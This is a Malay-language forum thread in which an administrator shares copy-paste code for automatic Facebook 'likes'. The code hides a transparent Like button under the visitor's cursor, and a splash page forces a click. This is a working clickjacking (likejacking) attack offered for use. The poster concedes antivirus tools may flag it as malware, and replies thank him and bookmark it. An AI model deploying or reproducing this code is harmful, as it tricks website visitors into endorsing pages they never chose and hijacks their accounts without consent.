Results 1 to 4 of 4

Thread: Teknik/Script otomatik Facebook Like

  1. #1
    Administrator ceghap's Avatar
    Join Date
    Jan 2007
    Location
    Kulim, Kedah, MY
    Posts
    264
    Post Thanks / Like
    Blog Entries
    2

    Lightbulb Teknik/Script otomatik Facebook Like

    Semua orang sedia maklum terdapat script untuk tarik like facebook fanpage secara otomatik setiap kali pelawat klik pada page yang dipasang script tersebut. Hari ni saya nak kongsikan cara memasang script tersebut pada website anda.

    p/s: Mungkin sesetengah anti-virus akan detect page yang dipasang script tersebut sebagai malware. Ye secara logiknya script ini mmg ada behavior seperti virus jadi sesetengah anti-virus akan detect. tapi mostly tidak. setakat minggu lepas, script ni masih berfungsi dengan baik. tak tahu lah masa akan datang. saya akan update kembali jika ada perubahan

    Masukkan code ini antara <head></head> di website anda..

    Code:
    <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>          <script type="text/javascript">              function ClickJackFbHide(){                  jQuery("div[id^=\'clickjack-button-wrapper\']").hide();              }              function ClickJackFbShow(){                  jQuery("div[id^=\'clickjack-button-wrapper\']").show();              }          </script>
    sudah masukkan? code dibawah ini pula di antara <body> </body> di website anda:
    Code:
    <div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">   <!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->  <iframe src="http://www.facebook.com/plugins/like.php?href=GANTI URL FANPAGE ANDA&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>       </div>       <script type="text/javascript">           jQuery( document ).ready( function() {               $( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {                    jQuery( "#clickjack-button-wrapper-5" ).css( {                      top: e.pageY - 10,                      left: e.pageX + 30                  } );              } );                            clickjack_hider();                          var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);          } );                          function clickjack_hider(){              jQuery("input").mouseout(function(){ClickJackFbShow();});              jQuery("a").mouseout(function(){ClickJackFbShow();});              jQuery("button").mouseout(function(){ClickJackFbShow();});              jQuery("textarea").mouseout(function(){ClickJackFbShow();});              jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});            jQuery("object").mouseout(function(){ClickJackFbShow();});                jQuery("input").mouseover(function(){ClickJackFbHide();});              jQuery("a").mouseover(function(){ClickJackFbHide();});              jQuery("button").mouseover(function(){ClickJackFbHide();});              jQuery("textarea").mouseover(function(){ClickJackFbHide();});              jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});            jQuery("object").mouseover(function(){ClickJackFbHide();});                          }      </script>

    Pada kod di atas perhatikan ayat yang berwarna Merah tersebut. Sila gantikan dengan url fanpage anda contoh: http://www.facebook.com/ceghap

    Script ini boleh dimasukkan kedalam blog berplatform blogspot dan juga wordpress tapi anda kena faham kod asas pada blogspot juga pada wordpress. Tak perlulah saya ajarkan ye? Nak semua orang suap susah la, study la sikit ye abang-abang syokeratis

    Saya recommend anda buat script ini pada splash page blog anda. Maksud saya, anda buatkan page index.html. contoh: bila buka page http://ceghap.com/ akan kelihatan splash page yang menyambut pelawat. Pelawat perlu klik pada image/hypertext untuk masuk ke page seterusnya seperti http://ceghap.com/portal . (url yg saya masukkan ini sebagai contoh, jadi jangan salahkan saya jika anda masuk ceghap.com tak ada splash/welcome page.) Kalau nak code contoh untuk splash page saya sediakan disini:

    Code:
    <html> <head> <title>Selamat Datang</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <!-- boleh masukkan kod yang antara head --> </head> <body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <!-- ini masukkan gambar anda --> <a href="http://URL-ANDA-SENDIRI.com"<img border="0" src="http://i46.tinypic.com/frxg8.gif" width="502" height="144" alt=""></a> <!-- boleh masukkan code anda body disini --> </body> </html>
    save code ini jadi index.html. Ok terakhir saya nak ulangi yang kemungkinan sesetengah antivirus akan detect page yang ada kod ini sebagai virus. Gunakan kod ini baik baik ye. Segala risiko abang-abang semua tanggung sendiri psst kata orang fanpage senang kena banned?

  2. #2
    Senior Member

    Join Date
    Jan 2010
    Posts
    1,401
    Post Thanks / Like
    blh try nie. bookmark !



  3. #3
    Member auszdevil41's Avatar
    Join Date
    Jun 2012
    Posts
    49
    Post Thanks / Like
    nice share tuan tanah

  4. #4
    Senior Member
    Join Date
    Dec 2006
    Location
    setapak, kuala lumpur
    Posts
    222
    Post Thanks / Like

Members who have read this thread: 0

There are no members to list at the moment.

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •